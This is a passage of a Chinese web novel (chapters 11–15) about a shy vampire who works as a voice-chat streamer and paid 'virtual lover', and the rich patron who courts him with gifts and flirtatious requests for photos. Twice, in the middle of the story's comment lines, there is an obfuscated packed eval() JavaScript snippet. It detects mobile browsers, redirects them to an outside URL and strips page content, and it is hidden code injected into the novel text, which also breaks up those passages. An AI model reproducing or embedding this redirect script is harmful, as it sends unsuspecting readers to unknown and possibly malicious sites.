宁尔满意地把花瓶摆放在窗台上,拍了一张照片。 打开缘小圈的时候宁尔低头看了看自己的腿,淤青又消退了很多。 他自己都没察觉地眉目舒展,嘴角轻扬,把这张图片上传到缘小圈,文案: “人,我心中的这朵花永远不会枯萎。” 晚上10点,宁尔准时进入春风与你皆过客的语音房。 他没换头像和昵称,有几个昨天也在的观众,看到昨天来捣乱的小新人转眼变成了主播之一,瞬间又开始在评论区讨论了一阵。 有了一整天的心理建设,宁尔已经不像昨天那么无措害怕了。 就像来到人类世界打过的工一样。 他数学不好,可是也在菜市场里数过很多鸭子,一个鸭子还有两只脚。 他害怕鬼,可也在墓园当过巡逻保安,有他在,没有一个其他鬼敢去骚扰逝去的人。 所以无论是做虚拟恋人还是在语音房直播,都是一份工作。 不应该太多情绪。包括害怕。 更何况,昨天他是被抓上来的,今天可是被请过来的。 宁尔给语音房带来了一波小小的热度,春风兄也会吊胃口,半天也没介绍宁尔或者让他说话。 哪怕有不少人问4号是不是新人、头像是不是本人,春风兄也像没看到一样。 他也提前叮嘱过宁尔,不要随意回复。 宁尔乖乖听话,只等他一声令下。 这些直播房里想要互动都是有条件的。 一个墨镜是上麦聊天3分钟,1个气球是点某个主播唱首歌,一个火箭是指定表演,还有一些宁尔暂时看不懂,总之就是给的礼物越多,越精彩。 而且还有一个规则,无论是点哪个主播表演或者互动,都要打赏其他所有人一朵小玫瑰。 这样大家都有钱赚,气氛就会更加热烈。 房间里有两个男生先唱了两首歌,声音都很好听,歌曲宁尔听不出来好坏,但是两朵5.2元的玫瑰花就躺着进账了。 难怪大家都想快点开聊天室! 昨天那个富婆姐姐又来了,又点了3号,让他继续模仿她的前男友道歉挽留。 宁尔不知道3号已经说了多少次了,几乎都已经熟练地背下来了一样。 聊天房的观众们好像很喜欢这个表演,评论区立马又唰唰唰热闹起来,大多数都是说“高价征我前男友声替”、“每天一遍,乳腺都通畅了”、“感谢富婆姐姐带我们见世面”、“3号给你出个主意,要不你去追富婆姐姐吧”。 宁尔看着这些又有趣的评论,自己也像个小傻子一样跟着偷偷笑。 笑着笑着,他看到一条评论:“4号什么时候能排到?” 4号。 我? 宁尔瞬间坐直了身体,房主回复: [这个结束就可以。] 与此同时,春风兄给他发了条私信: [从第一单到凌晨一点,接单礼物不够200算考核失败。] ! 宁尔清了清嗓子,学着平时陈元之的样子,把耳机的麦拿到嘴边,手机立在桌子上,时刻等待着5号互动结束。 随着一声“谢谢宝宝的自行车”,耳机里传来了春风哥的声音: “4号在吗?亲亲小耳朵,试音。” 春风兄的麦关上,语音房里一时间全部安静下来。 宁尔只能看到自己的头像变大了一点,随着自己呼吸的声音起伏,头像旁边音波状的线条在跳动。 宁尔舔了舔嘴唇,用了咽了口口水,把麦拿得离嘴巴更近些,不高不低说了一句: “亲亲小耳朵,我在。” 他的声音像包裹着春日清晨潮雾一样,在劣质带着闷声的耳机里传来。雾气下森林间,软绵绵的声音如同大片小雏菊上的花蜜,甜而不腻,温软悦耳。 宁尔说完这句话之后整个聊天房又沉默了一下。 评论区:??? 刚刚是新人的声音?这么好听的吗?? 怎么现在才入行? 啊啊啊啊好软的青年音啊!!好像我之前听广播剧那个角色的配音!! 听声音是个可爱宝宝啊,和头像不搭啊。 仔细看其实头像也挺可爱的!装小吸血鬼难道不可爱吗?他还叫自己的名字哈哈哈哈哈哈。 啊啊啊多说几句我要上麦!! 宁尔看着评论区,轻轻松了口气。看来,他的声音不被人类讨厌。 春风与你皆过客回复了一个“ok”,示意他可以说话了。 宁尔继续拿着麦,对着点他上来的女生说: “你好吖~” “……” 沉默。 宁尔赶紧补充了一句:“晚上好呀小姐姐。你、你吃饭了吗?” 沉默。 宁尔有些慌张地缩小聊天室,就看到春风兄发来消息: [那么严肃干什么?你要考研面试啊!不是看过几天直播间了吗?] 宁尔脸唰地红了,他确实看过。 他们好像都会直接叫宝宝、宝贝、乖乖、哥哥。 宁尔被春风兄一说,更紧张了,把麦拿到嘴边,半天还是叫不出“宝宝”两个字,他看到女生的ID,最终傻傻地开口,缓慢飘忽道: “雨雨宝,很高兴能在这里遇到你。” “我,我今天第一次播,有点不太说话,对不起。” 宁尔在解释,评论区早就热闹起来了: [不儿,声音虽然好听,不会说话啊。] [哈哈哈哈雨雨宝?宝宝俩字儿是烫嘴吗?] [这也太外行了。相信是第一次来了。] [他好害羞啊啊啊啊更可爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653328|172839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。] 沉默了几秒钟,巴黎夜雨小姐姐出乎意料地平静开口: “没事儿。我也不需要什么互动,就是好奇听听你声音。” 宁尔:“那、那你听到了吧?很清晰吧?” 大概是他紧张的样子在人类听起来有点好笑,巴黎夜雨小姐姐笑了一声: “挺清晰的。你的声音很有记忆点,感觉在聊天室里很少听到。” 宁尔:“我……你也是。你的声音也很好听。” 宁尔稍稍有些脸红地扯了个谎。 他在人类世界都没和几个女性说过话,根本没有判断和对比。 但那又有什么关系呢? 只要是女孩子的声音就都是好听的!更何况是愿意给他送墨镜听他试音的! 巴黎夜雨:“你的头像,是你本人吗?” [问了问了,嘴替。] 巴黎夜雨小姐姐替整个聊天室的人问出了这个问题,宁尔没有犹豫,认真回答: “是的。怎、怎么了?” 巴黎夜雨:“没什么,挺可爱的。和你声音很符合。” 宁尔脸又红了点儿,可、可爱么…… 人类已经进化到了觉得吸血鬼都可爱的一代了。 一点警惕意识都没有。 真令鬼操心啊。 巴黎夜雨:“时间快到了,不说了。我关注你一下,加油,祝你早日成为大主播。” 宁尔:“谢谢你,雨雨宝。” 连麦有惊无险结束,宁尔大大松了口气。 尽管声音过关了,从评论区的讨论来看,自己好像并没有什么吸引力。 果然,听过他的声音之后说要下单的就很少了。 有的人甚至把排的单子都转给了其他人。 春风兄也没有和他私聊,后面有两个又点他的,都是女生,下的都是墨镜聊天单。 宁尔努力认真地回答他们的每一句话,但是好像都有些让人感到无趣。 他也有努力学着攻略找一些话题,但这些话如果私聊说的话还好,一想到是当着聊天室这么多人的面说,宁尔就又尴尬地咬着嘴唇犯难。 时间越临近约定的0点,宁尔越着急。 今天的收益加上蹭别人的那些也才90多块,距离200块还有一大截。 23:50。 23:53。 宁尔急得咬了咬唇,他等了很久才等到可以开聊天室,有等来了今天的机会,不能轻易说不行。 唰—— 屏幕上一个大墨镜飘过。 亲亲小耳朵给春风与你皆过客刷了一个大墨镜。 春风与你皆过客:[?] 宁尔顺利打开麦,他现在是观众的身份,有三分钟的时间说话。 宁尔话音稍稍有些着急: “春风兄,请你先别说话。” “各位聊天室的哥哥姐姐你们好。可能你们还不认识我,我叫亲亲小耳朵,是一个新人,来这里很久了,今天是第一次有机会直播。这种感觉好、好神奇。” “我知道我现在播得不是很好,聊天也不是那么有趣,但是我一定会加倍认真努力学习的。” “虽然爸爸妈妈以前总说我脑子笨学习慢,但我之前也学会了好多份新的工作,希望你们今天晚上可以刷一些礼物支持我一下,明天我就会更好啦~” 宁尔说完,评论区沉默了一下,立马开始各种弹幕: [第一次见,还能这样?给别人刷礼物自己当观众开麦?] [谁说这小耳朵脑子笨啊,这脑子可太棒了。] [这是在干嘛?要礼物吗?吃相有点儿难看了吧兄弟。] [他们好像有新人考核,第一天没赚够多少就不能常驻的。] [不知道是几点,感觉他过不了了。] [刷个大啤酒助力一下吧,还挺喜欢他声音的] 宁尔看着弹幕疯狂飘过,沉默中春风兄开麦了: “其实……你不用刷礼物,说一声也能直接说话。” 3号:“哈哈哈,你不早和人家弟弟说。没事儿啊小耳朵,这次不成功下次有机会再来。” 2号:“你还说么?不说让一下位置。” 23:58跳到了数字59。 只剩下一分钟了。 评论区的各种议论让宁尔来不及消化,1235号一起开麦一言一语吵得宁尔有些头大。 实在没招了吖。 他认命地轻轻叹了一口气,在直播间里传出一个小小的惆怅尾音。 即将跳到0点的那一刻,整个屏幕忽然亮起了一道光。 [银耳粥来到了直播间。] [银耳粥为亲亲小耳朵送出大火箭x1000] 12. 第 12 章 火箭的白光特效异常炫目,浓浓的云雾尾气仿佛喷在了语音房每一个人脸上。 一个火箭炮66块,1000个。 万箭齐发。 特效持续了两分钟左右,众人眼睁睁地看着这个账户嗖嗖升级。 没有头像,没有资料,没有性别,没有缘小圈……没有感情。 但有钱。 春风与你皆过客作为房主率先开麦,他压低嗓子饱含深夜的磁性: “欢迎粥粥宝宝来到我们语音房,欢迎。” 3号毫不掩饰地夸张惊讶: “哇!!1000个!!我没看错吧!” 5号声音带着笑意:“666,春风哥挖人的眼光还是这么好啊。欢迎粥粥宝宝来到房间。” 2号声音听不出情绪:“包房了。” 银耳粥一口气刷了几万块的礼物,他们的语音房排行榜迅速上升到了分频首页,一瞬间涌入了很多观众。 春风与你皆过客看到亲亲小耳朵和银耳粥一时间都没说话,开麦主持道: “不好意思开始之前我前提醒一下,粥粥,上麦还需要给其他每位刷朵玫瑰花哈。” 他话音刚落,银耳粥给所有人同时送了一个火箭。 !! 银耳粥在评论区发消息:[够么?] 3号:“够了够了,谢谢富婆!我们语音房今天走大运了啊。” 银耳粥:[不是问这个。] 3号:“啊?那是问什么……” 宁尔看着屏幕上那些特效,一时间惊地呆在了手机前。 银耳粥……一碗银耳粥…… “如果可以,我许愿你能把名字改成“一碗银耳粥”,这样,如果很久以后有一天你回这里,我也还能能认出来你。” 一个声音在脑海里响起,评论区上哗哗哗的弹幕宁尔都没看,他开着麦没有说话,但没有人催他。 “你是……”宁尔轻软的声音夹杂着一点耳机的电流声从麦里传来,因为疑问尾音发飘: “用户先生?~” 宁尔说完之后赶紧捂住嘴巴,才意识到自己说错话了。 他怎么把用户先生是个男士的话在这里说出来了!! “对不起对不起,我好像认错人了,你不是的不是的。” “……” 银耳粥:[我是。] 他打出那个“我是”的时候,宁尔感觉自己呼吸有一瞬间停滞,重重地咽了一口唾沫。 用户先生竟然回来了。 宁尔:“用户先生,不对不对,粥先生,你是为了我回来的吗?” 宁尔感觉在众人面前脑子乱乱的,第一时间想问的话只有这句。 银耳粥:[够了么?你留在这里的条件。] 粥先生没有回答这个问题。 “粥先生你怎么知道……” “够了,够了。太多了,其实,只需要要一个火箭就够了……” 他声音懵懵软软,又那么诚实,评论区果然又掀起一波评论: [哈哈哈哈哈不是,第一次见嫌礼物多的。] [好诚实的小宝啊啊啊啊。] [话说,这是人家大哥吧?好像是亲亲小耳朵自带来的。] [大哥好啊大哥妙啊。] 宁尔本来还挺担心评论区会不会有人骂粥先生是男生,但大家好像并没有因为这个大惊小怪。 也许,人类世界男孩子和男孩子之间也可以送礼物,也可以体验虚拟恋人的滋味。 “粥、先生,你要上麦吗?我拉你上来。春风兄,可以帮我抬一下人吗?” 宁尔眨着眼睛,盯着手机小心翼翼地问。 银耳粥:[不用了。] 宁尔目光一黯。 他现在有点怕这三个字了。 上次,上上次,用户先生,不对,粥先生,都是说完这三个字之后就消失了。 春风以为他是不了解规则,开麦问: “粥……粥哥,你刷了1000个火箭,我就不给你算时间了,这个房一直到下播小耳朵都是你的了。” “或者你想和谁聊什么我们语音房都陪你。” 宁尔赶紧接着他的话,尽量学着平时陈元之的样子夹了夹嗓子,让声音更加甜软一些: “是吖粥先生,你、你是第一次听小耳朵的声音吧?你觉得,好听吗?” 宁尔说完又捂了捂自己的嘴巴。 他有点不敢相信这句话是从自己的鬼嘴里冒出来的。 果然,评论区立马: [哈哈哈哈哈哈哈这不是挺会撩的吗?] [《变如脸》] [哈哈哈哈哈性感吸血鬼,在线忘本。] [原来不是钱没到位,是性别不对啊。] [怎么感觉正好赶上了什么精彩情节。]< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653329|172839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宁尔一边看着评论区的议论,一边忐忑等待。 沉默了一会儿,银耳粥在评论区回答: [好听。] 宁尔:“粥先生,你最近工作还好吗?有没有又迟到被老板批评?” 评论区: [说早了,他好像是真不会。] [哈哈哈哈哈我的妈呀没上过班吧。谁深夜问别人工作还好吗。] [这是你们独特的爱好play吗。] [声音好听就可以玩尬的吗鹅鹅鹅。] [竟然有点想明天连小耳朵了……就喜欢这种根本不知道他下一句话说什么的感觉。] 银耳粥:[没有。] 宁尔自己嘴笨,看着评论区的评论,更加证实了自己问得不太好。 粥先生这几个字的回答好像哄小孩一样,可能只是当着这么多人的面怕他尴尬。 宁尔一边拽着脑袋上棕色的呆毛,一边努力想下一句该说什么。 语音房又陷入了沉默。 可能是很久没这么尬过了,春风都有点不知道怎么把持局面,他忽然小小声地放了个背景音乐,用标准的喊麦腔说: “为我们粥哥和小耳朵增增气氛。” 他放的音乐节奏很快,鼓点清晰,一吵宁尔感觉自己的脑袋又大了一圈。 春风与你皆过客和3号又替他聊了几句,但宁尔几乎反应不过来了。 因为他已经又看到粥先生在屏幕上发了四个字: [早点休息。] 早点休息。 又要消失了么…… 陈元之拎着他的耳朵告诉他错过了大老板,前几天的后悔涌上心头,还有暗暗发过的誓! 不能。 绝对不能再错过一次粥先生了! 聊天房的背景音乐放到了副歌部分,动感的高.潮女声尾音降下来,1235号都暂时没有开麦,评论区也没人说话把粥先生的话刷上去。 沉默了的一刻,所有人把注意力都放在亲亲小耳朵的回答上时—— “咚——” 亲亲小耳朵的麦里传来了一声沉重的闷声,像是什么重物摔在了地上。 房间里穿来小耳朵轻声、委屈但又十分清晰的声音: “哎呀,我真是太不小心啦,刚刚摔倒在地上了。还碰到了膝盖。” “粥先生,你要不要下一个虚拟恋人单看看我的伤呀?” 13. 第 13 章 宁尔说完之后就捏着手机等着了。 等了大概只有三十秒的时间,手机里弹出来一个消息: [您有一条新的虚拟恋人订单啦~] 选择:[现在接单] [稍后回复] 陈元之之前给他讲过。 因为同时有接单虚拟恋人和语音房直播的功能,为了保证客户下单的时间和陪陪是一致的,所以会给两个选择。 如果选择现在接单,就要退出语音房专心做虚拟恋人陪聊。 如果选择稍后回复,那可以双方协商一个时间。 宁尔居高临下地看着手机,嘴角不自觉地像一边翘起来,在椅子上自己转了转,把一条腿搭在另一条腿上,脸上是忍不住的得意笑容。 抓到你了,粥先生。 他没有一秒犹豫,直接返回语音房点了退出房间。 专心聊天。 宁尔选择了那个“现在接单”,几天前的聊天记录都还在,不同的是,原本变灰不能再发送消息的打字条又恢复了冒着泡泡的粉色。 亲亲小耳朵:[粥先生/拥抱/拥抱/] 亲亲小耳朵:[粥先生,我好想你吖~] 那边小小地沉默了一会儿,银耳粥: [新学到的?] 亲亲小耳朵:[可爱/可爱/] 亲亲小耳朵:[才不是啦,是真的很想念粥先生呀~] 宁尔这句不算说谎骗人。 在不知道自己声音好不好听,想找个人来听听告诉他的时候,想到的是粥先生; 在把2块的塑料玫瑰插在20块的花瓶里的时候,也想到了粥先生; 在思考学着怎么把腿拍得更漂亮一点的时候,想到的也是粥先生…… 宁尔说完之后又想到一句比这个更那个的话,刚打在对话框里,银耳粥先生就发来一句: [伤怎么样了?] 严肃。。。 宁尔默默删掉了聊天框里那句“你有没有想我吖”。 亲亲小耳朵:[你要看看吗?~] 银耳粥:[嗯。] 宁尔抿了抿唇,快速跑回床上,把腿摆好,对着自己的膝盖“啪”地拍了一张照片。 比起第一次胡乱怼着膝盖的拍照,他这次已经通过学习进步多了。 宁尔把一条腿伸长,脚跟软软地踏在床上;另一只缩近一点,微微蜷曲,脚掌撑在床上,膝头抬高。 膝盖骨头的棱角明显,另一条腿长长地延伸线条。 拍完之后刚打算发送,宁尔忽然想到了什么,赶紧又把这张图片删了。 过了很久,傅宴舟收到一张照片。 他瞥了一眼小图,呼吸稍稍紧促了一点,把图点开。 依旧是一张没有脸的图。 照片上,少年穿着一条宽大不合身的白衬衫。衬衫扣子解开两颗,颈部线条一直延伸至胸膛薄骨前。 白色衬衫质量很差,几乎没有什么版型可言,软软地布料贴在胸脯上垂坠而下,一直延伸到…… 傅宴舟又认真看了看,才发现小耳朵穿了裤子,只是裤子太短,在这个姿势下被衬衫的长柏遮挡住了。 傅宴舟一瞬间误会的心跳慢慢降速,呼吸却仍发深发紧。 照片里,小耳朵两条腿稍稍分开跪在床上,皮肤在衬衫和灯光的衬托下泛着近乎透明的瓷白光晕。 白皙大腿的软肉微微陷入修长小腿的漂亮曲线里,细嫩的肌肤几乎脂玉般没有纹理。 真正有伤的膝盖抵在床上,勉强能看到些青紫。 被他这样跪着挤压,很快又泛了红。 没拍脸。 这个姿势,似乎已经不用拍脸了。 厚重的门被推开,傅宴舟不动声色地把手机在宽大的手里息屏。 他破天荒地从冰桶里取了一块手凿冰,放进威士忌杯里,举杯,冰割的泥煤烟熏在极度冷热交替划过喉管,冲淡遐想。 身旁喝得半醉的表弟端着一杯酒,摇摇晃晃靠过来: “表哥,你怎么一个人喝闷酒啊?” 私家宴会厅休息室里,一门之隔,外面是热络的威士忌雪茄聊天聚会,里面傅宴舟一个人坐在宽大的真皮棕色沙发里。 门没锁,但他不出去,除了表弟傅柏没人敢这么进来找他喝酒。 表弟衬衫扣子解开两颗,摇摇晃晃站不稳,要往他身边的沙发上坐。 傅宴舟伸手,把人往旁边推。 同样是白衬衫解开两道扣子,傅柏身上这件大几位数的奢侈品牌子,穿在身上却满是胡乱不堪。 表弟一屁股坐在旁边的沙发上,借着酒劲儿撇撇嘴: “傅总,你干嘛呢啊?” “没大没小。”傅宴舟不轻不重地给了他一句。 傅柏呵呵呵乐了几句: “叫傅总还不够尊敬啊?那我乖乖闭嘴,看来以后是不能和傅总说话喽。” 他假装要走,傅宴舟瞥了他一眼: “少喝点。什么场合,像什么样子?” “哎呀表哥你就别再教训我了。好不容易放松放松。什么场合?放松的场合。又不是所有人都是你这种西装革履的霸道总裁,开口闭口十几个亿的生意。我们这种凡人,自己能做点儿小事儿就够了。” 傅柏插科打诨,说着说着屁股从沙发上滑下去一半儿,胸前的方巾也掉在地上。 傅宴舟皱着眉头看了一眼他这副德行,没说什么,而是弯下腰,伸手捡起那块方巾,重新塞回傅柏的口袋。 傅柏咧着嘴一笑: “就知道表哥疼我。” “也不枉我当年连夜偷了我爹钥匙的堵了他的车,拼了这条小命帮你坐稳咱们傅家大股东的位置了。” 傅柏醉眼朦胧说出这些话,语气里倒是没有半点儿过后邀功威胁—— 全是憨傻。 当年家族内战这个表弟确实胳膊肘往外拐,无条件的、在外人看来不可思议地站了这个表哥的队,给他省去了很多麻烦。 也就是为什么直到今天,这个愣头青还能在傅宴舟面前不用夹着尾巴做人的原因。 “后悔了?”傅宴舟目光凌了凌,吓唬他。 傅柏被他的目光吓到,稍稍坐正身体,傻傻地嘿嘿一笑: “没有没有,怎么会后悔呢!盛景就应该交给表哥管理,要不是跟着表哥混,我哪有资格参加这种酒会啊。” “你那个什么直播作坊,最近怎么样?” 傅宴舟又喝了一口酒,破天荒地主动关心一下傅柏的“事业”。 傅柏也奇了,酒醒了不少,睁大眼睛看着傅宴舟: “表哥,5020年了,你怎么能叫作坊呢?那是公司!那是mcn公司!现在正是风口的行业,我干得如日中天,签约了好几个小粉红呢。你现在看不起它,告诉你,等十年、二十年以后盛景不行了,说不好你还得去我直播间带货呢!” 傅宴舟懒得和他计较,而是又问了一个问题: “签约,能做什么?” 傅柏眼睛瞪得更大了: “我靠,表哥,你不会真想来直播吧?盛景是不是真的不行了啊?不行你提前告诉我我把股份卖了啊。” 傅宴舟压眉,给他一记眼刀。 “我错了我错了。直播嘛,都得有团队有合作,最次也得有环境有平台,否则谁看你。我们公司就是负责给签约的主播提供这些配合,他们出人,我们出力,收益三七分。” “谁三?” 傅柏:“当然是他们三啊。” 傅柏理直气壮说完之后看向傅宴舟,后知后觉地有点儿心虚。 虽然这行的行规大约都是这样,但和傅宴舟自从全面接管盛景以来的高薪高酬高福利理念不同。 傅宴舟:“只在平台个人直播,不签约公司,是否不需要分掉七成收益?” “那确实是。只在平台播一般是五五分。不过那样更难。” “五五分?” 傅宴舟显然是没有想到这个价格,眉头不悦地轻皱起来。 “不是吧表哥,你对直播是真一点儿不懂啊?” 傅柏想不到有朝一日自己能给表哥傅宴舟扫盲,两条腿放在地上踩实了,伸出一只手比划: “天下主播,如过江之鲫。只要有部手机,咱奶都能播。没有高级设备、漂亮衣服、流量投送,那些小主播想要大火比登天还难。每天能赚口炒粉钱就不错了。” “声音主播呢?” “只出声不露脸?更难。每天就宝宝宝宝,嘴叫麻了也最多多一杯奶茶钱。” “没有 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他扔下泡在水池里的衬衫,甩了甩手上的水飞快拿起手机: 银耳粥:[好像好一些。下次别这样拍照。] 宁尔心头一凉。 好不容易鼓起勇气这样拍的照片,没有诱惑到粥先生就算了,还被人家直接拒绝…… 宁尔感觉自己的脸皮越来越热,他不知道这是人类世界的什么情感,只觉得浑身像小蚂蚁爬一样,甚至不敢洗出来那件白衬衫…… 亲亲小耳朵:[对不起,粥先生。以后不会了。] 银耳粥:[对不起?] 亲亲小耳朵:[对,对不起。刚刚有些迷糊,发了那张照片。] 亲亲小耳朵:[我们多说几句话,就可以不看到了。] 过了一分钟,银耳粥发来消息: [你可能有些误会。] [这样会挤压膝盖,对恢复不好。] 啊……原来是……这个意思吗。 原来粥先生只是为了他的伤好,他却…… 宁尔脸上的温度不仅没有降下去,耳朵反而好像都跟着热起来了,他缩起脖子打字: [粥先生,您说的是真话吗?] 宁尔害怕粥先生只是找了个借口安慰他。 不然为什么他这么久才回复呢? 银耳粥:[真话。] 亲亲小耳朵:[好叭……我还以为,你不喜欢这样的照片。] 银耳粥:[“这样”,是什么样?] 宁尔脸更红了一点,隔着屏幕干咳了一声: [就是、就是……穿着衬衫,裸.露的照片。] 银耳粥:[为什么,觉得我会不喜欢?] 宁尔几乎没有丝毫犹豫,直接打字: [因为您好像很严肃、正直。您每次说要看我的腿,都是为了看我的伤,给我治病,给我刷礼物和钱。] [您甚至都没有让我辣舞过~] [而且我知道为什么,因为您其实就是一个真真正正的大好人~] 鬼做了好事,要被夸;人做了好事,就也要夸。 吸血鬼不能寒了每一个好人的心! 银耳粥:[抱歉,你好像又误会了。] 银耳粥:[我并没有那么高尚。我的每一个礼物都有目的。] 嗯?宁尔看着这两句话一愣: [您的目的……难道……难道是……] 银耳粥:[没错,是为了看你的腿。第一次发的肩膀照片也很好看。除此之外,也想看更多你的其他照片。] 宁尔呼吸一滞,面对这么直白赤.裸的话不知所措。 愣了一会儿,对面才发来消息: 银耳粥:[这次怎么不问真话假话?] “……” 宁尔狠狠松了口气,他就知道,粥先生又在逗他! 宁尔感觉到隔着屏幕粥先生逗他之后那抿起嘴唇坏坏的笑意,他伸出一颗小尖牙咬着嘴,鼓起腮帮子配合他: [真话假话呀粥先生?真的好难猜呀~星星眼/星星眼/] 银耳粥:[真话。] 14. 第 14 章 “……” “……” 呃啊……呜嘤…… 宁尔看着手机上最后的两个字,不自觉地从嗓子里发出两声低低的鬼叫。 他觉得自己脑子都已经迷糊了。 明明是他想钓粥先生,怎么好像被粥先生戏弄了呢。 反复戏弄。 亲亲小耳朵:[粥先生……] 傅宴舟隔着屏幕的确笑了。 他动作矜贵优雅地放下酒杯起身,陈年木桶的威士忌余韵在舌尖缱绻,傅宴舟薄薄的嘴唇勾勒出一个弧度,将情绪半锁在这副深沉英俊的皮相之下。 目光却隔着金丝眼镜盯在对面人的聊天头像上。 银耳粥引用了宁尔的那张白衬衫图片: [今天已经算交易过了。] 亲亲小耳朵:[我们……这个叫交易吗?] 宁尔觉得这个词好高级啊。 好像只有大生意,才能用这个词。他只发发图片,竟然也能用得上吗? 银耳粥:[抱歉。] 银耳粥:[是我用词不准确。] 亲亲小耳朵:[没关系的粥先生!!小耳朵喜欢交易!~] “……” 亲亲小耳朵:[粥先生,既然是交易,你又下单了600块的虚拟恋人,那你、你……] 银耳粥:[我什么?] 亲亲小耳朵:[你这次可不能再随便跑掉啦!打滚/打滚/星星眼/星星眼/] 宁尔知道粥先生根本没有计算过半个小时多少钱,他要下单宁尔多少个小时,应该压根只是随便输入了一个整数。 但他才不会管这些。 果然,粥先生一时间没有回复了。 宁尔继续趁热打铁: [粥先生,小耳朵脑子不太好,算不清600块需要用多久,要不我们挂个标吧?] 银耳粥:[什么标?] 宁尔立马发起了一个对方成为“虚拟恋人”的邀请。 这个标识是针对那些下单比较久,包天包月甚至包更久的用户,有了这个标识大家就知道你现在在忙,就会默认不下单打扰。 粥先生点了接受。 果然,屏幕上简单的一个两颗红心的动作过后,亲亲小耳朵和银耳粥的ID后面都出现了一条红色爱心小后缀。 “热恋中” ! 宁尔看着那三个红红的字,心头没来由地怦怦跳了两下。 他见过陈元之名字后面带这个,也见过别的用户五花八门的后缀,但第一次出现在自己名字后面时,原来是这种感觉。 还是和粥先生一起。 亲亲小耳朵:[好看吗粥先生?撒花/撒花/] 亲亲小耳朵:[从现在起到600块用完之前,我和粥先生就是……恋人了。] 宁尔本来想说得再动听点,但不知道为什么,打着打着手指虚虚地加了一个省略号进去。 宁尔握着手机,心里仍旧怦怦快跳着等待着粥先生的回复。 银耳粥:[为什么叫我粥先生?] 粥先生没有接宁尔的话,反而忽然这么问。 宁尔愣了一下才反应过来,之前他最后一句话说让用户先生把ID改成“一碗银耳粥”,一直没来得及解释为什么。 亲亲小耳朵:[因为……之前去医院的时候,我不小心听到了院长哥哥和您通电话时叫您“周”。] 亲亲小耳朵:[我想,您可能姓周。] 银耳粥:[然后因为你的ID有“耳”,就给我取了银耳粥这个名字?] 宁尔这点过期的小心思被挖了出来,他一瞬间脸有点发红。 他也不知道为什么,当时脑子里只想到这个名字。也就鬼使神差地想把两个ID用相关的字绑在一起。 亲亲小耳朵:[粥先生,你、你不喜欢吗……] 银耳粥:[我不姓周。] 亲亲小耳朵:[啊……对不起,我、我以为是这个字,抱歉……] 银耳粥:[也不喜欢你叫我粥先生。] 亲亲小耳朵:[好的好的,我会马上改掉的,您放心。您想让我叫什么?方便给一个新的称呼吗先生?] 粥先生竟然不姓周! 宁尔保证自己当时真的没有听错,院长真的在称呼对面为“周”。 他还自作聪明地给人家取了“银耳粥”这个网名…… 银耳粥:[不是已经成为虚拟恋人了么?] 银耳粥:[该怎么称呼?] 啊? 宁尔愣了一下,耳朵发热起来。他脑子里储存了好多陈元之说过的暧昧称呼,要、要这么叫吗…… 宁尔犹犹豫豫吞了口口水,颤着指尖打字: [宝宝?] 银耳粥:[你语音房里有1000多个宝宝。] “……” [宝贝?] [有区别么?] 宁尔脸更红了,温度从耳朵回脸颊、鼻尖,如同画了一个均匀的微醺腮红妆: [老、老婆?叫你老婆可以吗?] 他看陈元之这么叫过。 银耳粥:[……] 老婆也不行。 元之没有叫过别的了呀。 宁尔绻起小腿整个人朝前趴在床上,手机放在面前,脸在床上像小猫一样蹭着,眯着眼睛皱着眉不敢看屏幕。 粥先生是个男人,但他也是一个男人。 虽然软件上的虚拟恋人关系里,性别好像不那么重要,但、但他总不能叫粥先生老公吧…… 银耳粥:[叫哥哥。] 宁尔大大地松了一口气,这个称呼真好啊! 银耳粥:[语音叫。] 宁尔想都没想,把脑袋抬起来,手机放在嘴巴下,清了清嗓子,用手指按住语音条,清爽利落地叫了一句: “哥哥!” 1秒的语音粥先生听了一分钟,然后回复: [语气错了。] 宁尔愣住了,他刚刚只觉 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他下意识用食指揉了揉耳屏,瞥了一眼身边巴不得扶着傅家这几位爷的人,那人会意,赶紧过来扶住傅柏。 傅宴舟走上前,声音不高不低,同傅柏低说了一句: “我需要一些关于你公司的资料,下周四下午4点去盛景找我。” 众人没想到傅宴舟这位大神凌晨一点在酒局上交待工作,害怕小傅公子记不清,哪知道一低头,傅柏几乎是条件反射地拿出手机,晕晕乎乎在备忘录上记要求。 - 宁尔叫完那声哥哥就把手机扔了。 他脸朝下埋在小臂里,两条小腿翘起来,脑子里一直是哥哥这两个字。 “叮”地一声,粥先生,不对,“哥哥”终于回消息了。 银耳粥:[嗯。] 嗯是什么。 粥先生的态度似乎有些冷淡,他觉得那声哥哥的暧昧,好像有些自作多情了。 银耳粥:[记住了么?] 亲亲小耳朵:[记住什么呀粥先生?] 银耳粥:[记住恋人期间,都要叫哥哥。] 亲亲小耳朵:[……好,哥哥。] 粥先生不再多要求什么,回了个“嗯”就放过他了。 感受到粥先生应该快下线了,宁尔补充了一句: [对了哥哥,那你要不要换个网名呀?毕竟你不姓周,这个名字你可能不喜欢吖~] 银耳粥:[没事。] 亲亲小耳朵:[真的没事吗?我可以很快帮你想出一个新的名字~] 宁尔已经发现人类喜欢取名字的规律了。 用一样的读音给自己起一个食物小点心的名字。 人类真可爱。 宁尔正满足于自己对人类可爱的新发现,一低头,看到哥哥的两条消息: 银耳粥:[没事。] 银耳粥:[我名字里有舟。] 15. 第 15 章 对话一时陷入了沉默。 他看着屏幕上那句“我名字里有舟”,陷入了一瞬间的失神。 